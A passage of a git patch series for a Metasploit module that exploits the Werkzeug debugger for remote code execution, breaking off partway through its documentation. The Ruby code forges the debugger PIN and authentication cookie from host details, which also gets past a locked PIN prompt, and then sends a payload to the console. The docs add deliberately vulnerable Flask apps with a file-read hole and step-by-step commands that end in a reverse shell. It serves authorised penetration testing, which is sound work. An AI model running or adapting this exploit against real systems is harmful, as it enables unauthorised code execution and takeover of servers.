From d135b572f50d3580e88d104362ef62b38eb0e17a Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Sun, 6 Oct 2024 20:18:12 +0100
Subject: [PATCH 01/10] Add support for Cookie/PIN generation to Werkzeug RCE
---
.../exploits/multi/http/werkzeug_debug_rce.rb | 384 +++++++++++++++---
1 file changed, 333 insertions(+), 51 deletions(-)
diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb
index d21ff28706a2..2e0ef84a9f6c 100644
--- a/modules/exploits/multi/http/werkzeug_debug_rce.rb
+++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb
@@ -4,79 +4,361 @@
##
class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
-
+ prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
+ Rank = GoodRanking
+
+ METHODS_WITH_BODY = %w[POST PUT PATCH].freeze
+ COOKIE_PATTERN = /__wzd[[:xdigit:]]{20}=\d+\|[[:xdigit:]]{12}/.freeze
+ MAC_PATTERN = /^[[:xdigit:]]{2}([-:]?)(?:[[:xdigit:]]{2}\1){4}[[:xdigit:]]{2}$/.freeze
+ PIN_PATTERN = /^[[:digit:]-]+$/.freeze
+
def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Werkzeug Debug Shell Command Execution',
- 'Description' => %q{
- This module will exploit the Werkzeug debug console to put down a
- Python shell. This debugger "must never be used on production
- machines" but sometimes slips passed testing.
-
- Tested against:
- 0.9.6 on Debian
- 0.9.6 on Centos
- 0.10 on Debian
- },
- 'Author' => 'h00die ',
- 'References' =>
- [
- ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
- ],
+ super(update_info(
+ info,
+ 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution',
+ 'Description' => 'This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug ' \
+ 'is included with Flask, but not enabled by default. It is also included in other ' \
+ 'projects, for example the RunServerPlus extension for Django. It may also be used ' \
+ "alone.\n\n" \
+ 'The documentation states the following: "The debugger must never be used on production ' \
+ 'machines. We cannot stress this enough. Do not enable the debugger in production." Of ' \
+ "course this doesn't prevent developers from mistakenly enabling it in production!\n\n" \
+ "Tested against the following Werkzeug versions:\n" \
+ "- 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n" \
+ "- 1.1.4 on Debian 12\n" \
+ "- 1.0.1 on Debian 12\n" \
+ "- 0.11.5 on Debian 12\n" \
+ '- 0.10 on Debian 12',
+ 'Author' => ['h00die ',
+ 'Graeme Robinson /@GraSec'],
+ 'References' => [
+ ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'],
+ ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'],
+ ['URL',
+ 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'],
+ ['URL',
+ 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'],
+ ['URL',
+ 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \
+ 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a']
+ ],
'License' => MSF_LICENSE,
'Platform' => ['python'],
- 'Targets' => [[ 'werkzeug 0.10 and older', {}]],
+ 'Targets' => [
+ # pip install werkzeug==3.0.3 flask==3.0.3
+ ['Werkzeug > 1.0.1 (Flask > 1.1.4)',
+ { digest: Digest::SHA1,
+ digest_inputs: :new,
+ salt: ' added salt' }],
+ # pip install werkzeug==1.0.1 flask==1.1.4
+ ['Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)',
+ { digest: Digest::MD5,
+ digest_inputs: :new,
+ salt: 'shittysalt' }],
+ # pip install werkzeug==0.11.5 flask==0.12.5
+ ['Werkzeug 0.11 - 0.11.5 (Flask < 1.0)',
+ { digest: Digest::MD5,
+ digest_inputs: :old,
+ salt: 'shittysalt' }],
+ # pip install werkzeug==0.10 flask==0.12.5
+ ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version
+ ],
'Arch' => ARCH_PYTHON,
'DefaultTarget' => 0,
- 'DisclosureDate' => '2015-06-28'
+ 'DisclosureDate' => 'Jun 28, 2015',
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
+ }
))
register_options(
- [
- OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
- ], self.class
+ [OptEnum.new('AUTHMODE', [true, 'Authentication mode', 'generated-cookie',
+ %w[generated-cookie known-cookie known-PIN none]]),
+ OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]),
+ OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']),
+
+ # Options for using a known cookie/PIN
+ OptString.new('PIN', [false, 'PIN to use for authentication. This can be set to a custom value by the ' \
+ "application developer, in which case generating the pin won't work, but if you" \
+ 'have path traversal, you may be able to retrieve this pin by reading the ' \
+ 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \
+ 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil],
+ conditions: %w[AUTHMODE == known-PIN]),
+ OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil],
+ conditions: %w[AUTHMODE == known-cookie]),
+
+ # Options for generating cookie/PIN
+ OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho
+ # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2
+ OptString.new('CGROUP', [false,
+ "Control group. This may be an empty string (''), for example if the OS running the " \
+ 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \
+ 'traversal on Linux, this could be read from /proc/self/cgroup',
+ ''], conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('FLASKPATH', [false,
+ 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \
+ 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \
+ '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \
+ 'need to be changed to .pyc)', ''],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential
+ OptString.new('MACADDRESS', [false,
+ 'MAC address of the system that the service is running on. If you have path ' \
+ 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('MACHINEID', [false,
+ 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \
+ "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \
+ 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \
+ 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \
+ 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \
+ '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \
+ "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \
+ '\"serial-number\"', nil],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('SERVICEUSER', [false,
+ 'User account name that the service is running under. If you have path ' \
+ 'traversal on Linux, you may be able to read this from /proc/self/environ',
+ 'root'],
+ conditions: %w[AUTHMODE == generated-cookie]),
+
+ # Options for sending a body, if required to invoke the debugger
+ OptString.new(
+ 'REQUESTBODY',
+ [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"],
+ conditions: ['METHOD', 'in', METHODS_WITH_BODY]
+ ),
+
+ # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me!
+ OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'],
+ conditions: %w[REQUESTBODY == set])],
+ self.class
)
end
- def check
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(datastore['TARGETURI'])
+ def all_generation_values_set?
+ datastore['SERVICEUSER'] && datastore['MODULENAME'] && datastore['APPNAME'] && datastore['FLASKPATH'] &&
+ datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP']
+ end
+
+ def config_valid?
+ # Check that target supports selected authentication mode
+ if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'
+ fail_with(Failure::BadConfig,
+ "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
+ "require/support authentication. Change TARGET or set AUTHMODE to 'none'")
+ end
+
+ case datastore['AUTHMODE']
+ when 'known-cookie'
+ unless COOKIE_PATTERN =~ datastore['COOKIE']
+ fail_with(Failure::BadConfig,
+ 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
+ "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'")
+ end
+ when 'known-PIN'
+ unless PIN_PATTERN =~ datastore['PIN']
+ fail_with(Failure::BadConfig,
+ 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens')
+ end
+ when 'generated-cookie'
+ # Check that *all* values used to generate cookie & pin are set
+ unless all_generation_values_set?
+ fail_with(Failure::BadConfig,
+ "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
+ 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP') # Alphabetise
+ end
+ # Check for valid MAC address
+ unless MAC_PATTERN =~ datastore['MACADDRESS']
+ fail_with(
+ Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address"
+ )
+ end
+ end
+
+ # Check that requestbody is not specified if method doesn't support it
+ return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])
+
+ fail_with(
+ Failure::BadConfig,
+ "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body"
)
+ end
- # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
- if res && res.body =~ /Werkzeug powered traceback interpreter/
- return Exploit::CheckCode::Appears
+ # Retrieve secret and frame
+ def secret_and_frame
+ res = send_request_cgi(
+ 'method' => datastore['METHOD'],
+ 'uri' => normalize_uri(target_uri),
+ 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])),
+ 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY'])
+ )
+ unless res
+ print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}"
+ return
end
- Exploit::CheckCode::Safe
+ # Regex hell. Considered an HTML parser here but regex would still be needed to parse the JavaScript
+ # A redundant escape is required to work around broken syntax highlighting in Sublime Text
+ # rubocop:disable Style/RedundantRegexpEscape
+ /(?:EVALEX\ =\ (?true),.*?)? # Code execution in debugger enabled
+ (?:EVALEX_TRUSTED\ =\ (?false),.*)? # Pin required if 'false' matches. This technique supports v0.10-
+ SECRET\ =\ \"(?[a-zA-Z0-9]{20})"; # Secret
+ (?:.*? id="frame-(?[0-9]+)")? # Frame number, if it exists (i.e. if debugger)
+ .*Werkzeug\ powered\ traceback\ interpreter # Service Identifier
+ /mx.match(res.body)
+ # rubocop:enable Style/RedundantRegexpEscape
end
- def exploit
- # first we need to get the SECRET code
+ # Authenticate with PIN to retrieve cookie
+ def cookies(secret)
+ start = Process.clock_gettime(Process::CLOCK_MONOTONIC)
res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(datastore['TARGETURI'])
+ 'uri' => normalize_uri(target_uri),
+ 'vars_get' => { '__debugger__' => 'yes',
+ 'cmd' => 'pinauth',
+ 'pin' => datastore['PIN'],
+ 's' => secret }
)
+ finish = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+ unless res
+ print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}"
+ fail_with(Failure::TimeoutExpired)
+ end
+ if res.get_json_document['exhausted']
+ fail_with(Failure::NoAccess,
+ "Failed to authenticate using PIN: #{datastore['PIN']}. PIN authentication attempts " \
+ 'exhausted. The remote application must be restarted to re-enable PIN authentication.')
+ end
+ unless COOKIE_PATTERN =~ res.get_cookies
+ duration = (finish - start).round(1)
+ attempts_text = duration < 5 ? 'at least' : 'fewer than'
+ fail_with(Failure::NoAccess,
+ "Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \
+ 'failed authentication exhaustion count has been reached. The time taken to receive a response ' \
+ "indicates that #{attempts_text} 5 more attempts can be made before PIN authentication is disabled " \
+ 'which would require the application to be restarted to re-enable PIN authentication.')
+ end
+ res.get_cookies
+ end
+
+ def generated_cookie
+ # Ported from https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py
+ digest = target.opts[:digest].new
+ digest << datastore['SERVICEUSER']
+ digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s if target.opts[:digest_inputs] == :old
+ digest << datastore['MODULENAME']
+ digest << datastore['APPNAME']
+ digest << datastore['FLASKPATH']
+ if target.opts[:digest_inputs] == :new
+ digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s
+ digest << datastore['MACHINEID']
+ cgroup = datastore['CGROUP'].split('/')
+ digest << cgroup[2] if cgroup[2]
+ end
+ digest << 'cookiesalt'
+ case target.opts[:digest_inputs]
+ when :new
+ cookie_key = "__wzd#{digest.hexdigest[0..19]}"
+ digest << 'pinsalt'
+ when :old
+ cookie_key = "__wzd#{digest.hexdigest[0..11]}"
+ end
+ pin = digest.hexdigest.to_i(16).to_s[0..8].scan(/.{3}/).join '-'
+ print_status "Generated authentication PIN: #{pin}"
+ expiry = '9999999999' # Sat, 20 Nov 2286 17:46:39 +00:00 (!)
+ case target.opts[:digest_inputs]
+ when :new
+ cookie_value = digest.hexdigest("#{pin}#{target.opts[:salt]}")[0, 12]
+ cookie = "#{cookie_key}=#{expiry}|#{cookie_value}"
+ when :old
+ cookie = "#{cookie_key}=#{expiry}"
+ end
+ print_status "Generated authentication cookie: #{cookie}"
+ cookie
+ end
+
+ def execute_python(cmd, secret, frame, cookies = '')
+ send_request_cgi(
+ 'method' => 'GET',
+ # Path without querystring because triggering debugger may have required parameters
+ 'uri' => normalize_uri(target_uri.path),
+ 'vars_get' => {
+ '__debugger__' => 'yes',
+ 'cmd' => cmd,
+ 's' => secret,
+ 'frm' => frame
+ },
+ 'cookie' => cookies
+ )
+ end
+
+ def check_code_exec(secret, frame, cookies = '')
+ execute_python(1, secret, frame, cookies).body.start_with? ">>> 1\n"
+ end
+
+ def check
+ config_valid?
+ match = secret_and_frame
+ unless match
+ print_error 'HTTP response not recognised as Werkzeug'
+ return Exploit::CheckCode::Unknown
+ end
+ unless match[:evalex_enabled]
+ vprint_error 'Debugger does not allow code execution'
+ return Exploit::CheckCode::Safe # blud
+ end
+ vprint_status 'Debugger allows code execution'
+ if match[:pin_required]
+ vprint_warning 'Debugger requires authentication'
+ return Exploit::CheckCode::Detected
+ end
+ vprint_status 'Debugger does not require authentication'
+ # Now check whether code execution is possible by evaluating '1'
+ unless check_code_exec(match[:secret], match[:frame] || 0)
+ vprint_error 'Attempted code execution failed'
+ Exploit::CheckCode::Safe
+ end
+ vprint_status 'Code execution was successful'
+ Exploit::CheckCode::Vulnerable
+ end
+
+ def exploit
+ # First we try to get the SECRET code (and frame number if debugger rather than console)
+ fail_with(Failure::UnexpectedReply, 'Werkzeug "Secret" could not be retrieved') unless (match = secret_and_frame)
+ vprint_status "Secret Code: #{match[:secret]}"
+ vprint_status "Frame: #{match[:frame] || 0}" # Frame should be set to 0 if not in response (e.g. if using console)
+
+ case datastore['AUTHMODE']
+ when 'known-PIN'
+ cookies = cookies match[:secret]
+ vprint_status "Authenticated using PIN: #{datastore['PIN']}"
+ print_status "Retrieved authentication cookie: #{cookies}"
+ when 'known-cookie'
+ cookies = datastore['cookie']
+ when 'generated-cookie'
+ cookies = generated_cookie
+ end
+
+ # Check whether code execution is possible by evaluating '1'
+ unless check_code_exec(match[:secret], match[:frame] || 0, cookies)
+ fail_with(Failure::NoAccess, 'Response indicates that code execution failed')
+ end
+ vprint_status 'Code execution was successful. Sending payload.'
- if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
- secret = $1
- vprint_status("Secret Code: #{secret}")
- send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(datastore['TARGETURI']),
- 'vars_get' => {
- '__debugger__' => 'yes',
- 'cmd' => payload.encoded,
- 'frm' => '0',
- 's' => secret
- }
- )
- else
- print_error('Secret code not detected.')
+ # Send the payload to the debugger along with the values extracted from the previous response
+ res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies)
+ unless res.body.start_with? '>>> '
+ fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully')
end
+ vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors'
end
end
From 97c5afed521b8bef28587c8ab178a015ba29af94 Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Sun, 6 Oct 2024 20:19:48 +0100
Subject: [PATCH 02/10] Update werkzeug exploit module documentation
---
.../exploit/multi/http/werkzeug_debug_rce.md | 641 ++++++++++++++++--
1 file changed, 593 insertions(+), 48 deletions(-)
diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
index 79032305ac6c..ace0d35cf95f 100644
--- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
+++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
@@ -1,72 +1,617 @@
## Vulnerable Application
-Verified against:
- + 0.9.6 on Debian
- + 0.9.6 on Centos
- + 0.10 on Debian
-
-A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py)
+### Background
-## Verification Steps
+The [Werkzeug](https://werkzeug.palletsprojects.com/)
+[debugger](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) allows
+developers to execute python commands in a web application either when an
+exception is not caught by the application, or via the dedicated console if
+enabled.
+
+Werkzeug is included with [Flask](https://flask.palletsprojects.com/), but the
+debugger is not enabled by default. It is also included in other projects, for
+example
+[RunServerPlus](https://django-extensions.readthedocs.io/en/latest/runserver_plus.html),
+part of [django-extensions](https://django-extensions.readthedocs.io/) and may
+also be used alone.
+
+[The Werkzeug documentation](https://werkzeug.palletsprojects.com/en/3.0.x/debug/)
+states: "*The debugger allows the execution of arbitrary code which makes it a
+major security risk. The debugger must never be used on production machines. We
+cannot stress this enough. Do not enable the debugger in production. Production
+means anything that is not development, and anything that is publicly
+accessible.*"
+
+Additionally,
+[the Flask documentation](https://flask.palletsprojects.com/en/3.0.x/debugging/)
+states: "*Do not run the development server, or enable the built-in debugger, in
+a production environment. The debugger allows executing arbitrary Python code
+from the browser. It’s protected by a pin, but that should not be relied on for
+security.*"
+
+**Of course this doesn't prevent developers from mistakenly enabling it in
+production!**
+
+### Exploit Details
+
+Werkzeug versions 0.10 and older of did not include the PIN security feature,
+therefore if the debugger was enabled then arbitrary code execution could be
+easily achieved. Versions 0.11 and above enable the PIN by default, though it
+can be disabled by the application developer. The format of the PIN is 9
+numerical digits, and can include hyphens (which are ignored by the
+application.) I.e. `123456789` is the same as `123-456-789`. The PIN is logged
+to stdout when the PIN prompt is shown to the user, therefore if access to
+stdout is possible then it may be able to obtain the PIN using that feature.
+
+A custom PIN can be set by the application developer as an environment variable,
+but it is more commonly generated by Werkzeug using an algorithm that is seeded
+by information about the environment that the application is running in.
+
+Therefore, if the debugger or console is enabled and is not protected by a PIN,
+or if it is possible to obtain the PIN, cookie or the required information about
+the environment that the app is running in (e.g. by exploiting a separate path
+traversal bug in the app) then remote Python code execution will be possible.
+
+If the debugger is "secured" with a PIN then, it will be automatically locked
+after 11 unsuccessful authentication attempts, requiring a restart to re-enable
+PIN based authentication. This can be avoided by calculating the value of a
+cookie and sending that to the debugger instead of sending the PIN, which is
+what this module does, unless the Known-PIN method of exploitation is used.
+Furthermore, authentication using a cookie works even if the PIN-based
+authentication method has been locked because of too many failed authentication
+attempts. This means that this exploit will work even if the debugger
+PIN-authentication is locked.
+
+[HackTheBox had a challenge called "Agile"](https://app.hackthebox.com/machines/Agile)
+that required this vulnerability to be exploited in order to gain an initial
+foothold. As a result there are many walkthroughs available online that explain
+how a valid PIN can be generated using
+[the algorithm in the Werkzeug source code](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L142)
+along with information about the environment. As far as I can tell, none of
+these walkthroughs mention that a cookie can also be generated, and that a
+cookie will bypass a PIN-locked debugger. Neither do they mention that very old
+versions of Werkzeug don't require PIN or that the PIN/cookie generation
+algorithm has changed over time.
+
+To support the different PIN/cookie generation algorithms, this module supports
+multiple different versions of Werkzeug as the target.
+
+It should be noted that version
+[3.0.3 includes a check](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L309)
+to see ensure that requests that include python code to be executed by the
+debugger must come from localhost or 127.0.0.1. This is done by checking the
+Host HTTP header, and therefore can in some cases be bypassed by setting the
+Host header manually using the VHOST parameter in this module.
+
+## Tested Versions
- 1. Install the application
- 2. Start msfconsole
- 3. Do: `use exploit/multi/http/werkzeug_debug_rce`
- 4. Do: `set rport `
- 5. Do: `set rhost `
- 6. Do: `check`
+This module has been verified against the following versions of Werkzeug:
+- 3.0.3 on Debian 12, Windows 11 and macOS 14.6
+- 1.1.4 on Debian 12
+- 1.0.1 on Debian 12
+- 0.11.5 on Debian 12
+- 0.10 on Debian 12
+
+## Sample Vulnerable Application
+
+The following Docker Compose file, Dockerfiles and Python script can be used to
+build and run a set of containers that have the console enabled (at /console)
+and also contains endpoints that cause the application to attempt to read the
+content of a file and include it in the response. These endpoints can be used
+for arbitrary file read, but also for triggering the debugger, for example by
+requesting the content of a file that doesn't exist in the container.
+
+#### compose.yaml
+
+```
+services:
+ werkzeug-3.0.3:
+ build:
+ dockerfile: werkzeug-3.0.3.Dockerfile
+ ports:
+ - "80:80"
+ werkzeug-1.0.1:
+ build:
+ dockerfile: werkzeug-1.0.1.Dockerfile
+ ports:
+ - "81:80"
+ werkzeug-0.11.5:
+ build:
+ dockerfile: werkzeug-0.11.5.Dockerfile
+ ports:
+ - "82:80"
+ werkzeug-0.10:
+ build:
+ dockerfile: werkzeug-0.10.Dockerfile
+ ports:
+ - "83:80"
+ werkzeug-3.0.3-basicauth-custompin:
+ build:
+ dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
+ environment:
+ WERKZEUG_DEBUG_PIN: 1234
+ ports:
+ - "84:80"
+ werkzeug-3.0.3-noevalex:
+ build:
+ dockerfile: werkzeug-3.0.3.Dockerfile
+ ports:
+ - "85:80"
+ entrypoint:
+ - ./app.py
+ - --no-evalex
+```
+
+#### werkzeug-3.0.3.Dockerfile
+
+```
+# syntax=docker/dockerfile:1
+FROM python:3
+RUN pip install werkzeug==3.0.3 flask==3.0.3
+COPY report.txt .
+COPY --chmod=744 app.py .
+EXPOSE 80
+ENTRYPOINT ["./app.py"]
```
-[+] 10.108.106.201:8081 - The target is vulnerable.
+
+#### werkzeug-1.0.1.Dockerfile
+
+```
+# syntax=docker/dockerfile:1
+FROM python:2
+RUN pip install werkzeug==1.0.1 flask==1.1.4
+COPY report.txt .
+COPY --chmod=744 app.py .
+EXPOSE 80
+ENTRYPOINT ["./app.py"]
+```
+
+#### werkzeug-0.11.5.Dockerfile
+
+```
+# syntax=docker/dockerfile:1
+FROM python:2
+RUN pip install werkzeug==0.11.5 flask==0.12.5
+COPY report.txt .
+COPY --chmod=744 app.py .
+EXPOSE 80
+ENTRYPOINT ["./app.py"]
+```
+
+#### werkzeug-0.10.Dockerfile
+
+```
+# syntax=docker/dockerfile:1
+FROM python:2
+RUN pip install werkzeug==0.10 flask==0.12.5
+COPY report.txt .
+COPY --chmod=744 app.py .
+EXPOSE 80
+ENTRYPOINT ["./app.py"]
+```
+
+#### werkzeug-3.0.3-basicauth.Dockerfile
+
+```
+# syntax=docker/dockerfile:1
+FROM python:3
+RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
+COPY report.txt .
+COPY --chmod=744 app-basicauth.py app.py
+EXPOSE 80
+ENTRYPOINT ["./app.py"]
+```
+
+#### app.py
+
+```
+#!/usr/bin/env python
+
+import click
+from flask import Flask, request, url_for, make_response
+from sys import argv
+
+app = Flask(__name__)
+
+@app.route("/")
+def index():
+ return (
+ ''
+ 'Download Report Using GET
'
+ '
'
+)
+
+def build_response(filename):
+ with open(filename) as file:
+ response = make_response(file.read())
+ response.headers['Content-disposition'] = 'attachment'
+ return response
+
+@app.route("/getdownload")
+def getdownload():
+ return build_response(request.args.get('file'))
+
+@app.route("/postdownload", methods=['POST', 'PUT'])
+def postdownload():
+ return build_response(request.form['file'])
+
+@click.command()
+@click.option("--no-evalex", is_flag=True, default=False)
+def runserver(no_evalex):
+ evalex = not no_evalex
+ app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
+ use_reloader=False, use_evalex=evalex)
+
+if __name__ == '__main__':
+ runserver()
+```
+
+#### app-basicauth.py
+
+```
+#!/usr/bin/env python
+
+import click
+from flask import Flask, request, url_for, make_response
+from sys import argv
+
+from flask_httpauth import HTTPBasicAuth
+from werkzeug.security import generate_password_hash, check_password_hash
+
+app = Flask(__name__)
+
+auth = HTTPBasicAuth()
+users = {"admin": generate_password_hash("admin")}
+
+@auth.verify_password
+def verify_password(username, password):
+ if username in users and \
+ check_password_hash(users.get(username), password):
+ return username
+
+@app.route("/")
+@auth.login_required
+def index():
+ return (
+ ''
+ 'Download Report Using GET
'
+ ''
+)
+
+def build_response(filename):
+ with open(filename) as file:
+ response = make_response(file.read())
+ response.headers['Content-disposition'] = 'attachment'
+ return response
+
+@app.route("/getdownload")
+@auth.login_required
+def getdownload():
+ return build_response(request.args.get('file'))
+
+@app.route("/postdownload", methods=['POST', 'PUT'])
+@auth.login_required
+def postdownload():
+ return build_response(request.form['file'])
+
+@click.command()
+@click.option("--no-evalex", is_flag=True, default=False)
+def runserver(no_evalex):
+ evalex = not no_evalex
+ app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
+ use_reloader=False, use_evalex=evalex)
+
+if __name__ == '__main__':
+ runserver()
```
- 7. Do: `set payload python/meterpreter/reverse_tcp`
- 8. Do: `set lhost `
- 9. Do: `exploit`
- 10. You should get a shell.
+
+## Verification Steps
+
+1. Run the docker containers
+2. Start msfconsole
+
+### Werkzeug 3.0.3 using /console
+
+3. Do: `use exploit/multi/http/werkzeug_debug_rce`
+4. Do: `set RHOSTS `
+5. Do: `set LHOST `
+6. Do: `set VHOST 127.0.0.1`
+7. Do: `set MACADDRESS `
+8. Do: `set MACHINEID `
+9. Do: `set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py`
+10. Do: `run`
+11. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 3.0.3 using debugger (GET)
+
+12. Do: `set TARGETURI /getdownload?file=`
+13. Do: `run`
+14. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 3.0.3 using debugger (POST)
+
+15. Do: `set METHOD POST`
+16. Do: `set TARGETURI /postdownload`
+17. Do: `set REQUESTBODY file=`
+18. Do: `run`
+19. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 1.0.1 using /console
+
+20. Do: `unset METHOD`
+21. Do: `unset TARGETURI`
+22. Do: `unset REQUESTBODY`
+23. Do: `set RPORT 81`
+24. Do: `set TARGET 1`
+25. Do: `set MACADDRESS `
+26. Do: `set MACHINEID `
+27. Do: `set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pyc`
+28. Do: `run`
+29. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 1.0.1 using /debugger (GET)
+
+30. Do: `set TARGETURI /getdownload?file=`
+31. Do: `run`
+32. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 1.0.1 using debugger (POST)
+
+33. Do: `set METHOD POST`
+34. Do: `set TARGETURI /postdownload`
+35. Do: `set REQUESTBODY file=`
+36. Do: `run`
+37. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 0.11.5 using /console
+
+38. Do: `unset METHOD`
+39. Do: `unset TARGETURI`
+40. Do: `unset REQUESTBODY`
+41. Do: `set RPORT 82`
+42. Do: `set TARGET 2`
+43. Do: `set MACADDRESS `
+44. Do: `set MACHINEID `
+45. Do: `run`
+46. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 0.11.5 using /debugger (GET)
+
+47. Do: `set TARGETURI /getdownload?file=`
+48. Do: `run`
+49. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 0.11.5 using debugger (POST)
+
+50. Do: `set METHOD POST`
+51. Do: `set TARGETURI /postdownload`
+52. Do: `set REQUESTBODY file=`
+53. Do: `run`
+54. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 0.10.1 (No authentication required) using /console
+
+55. Do: `unset METHOD`
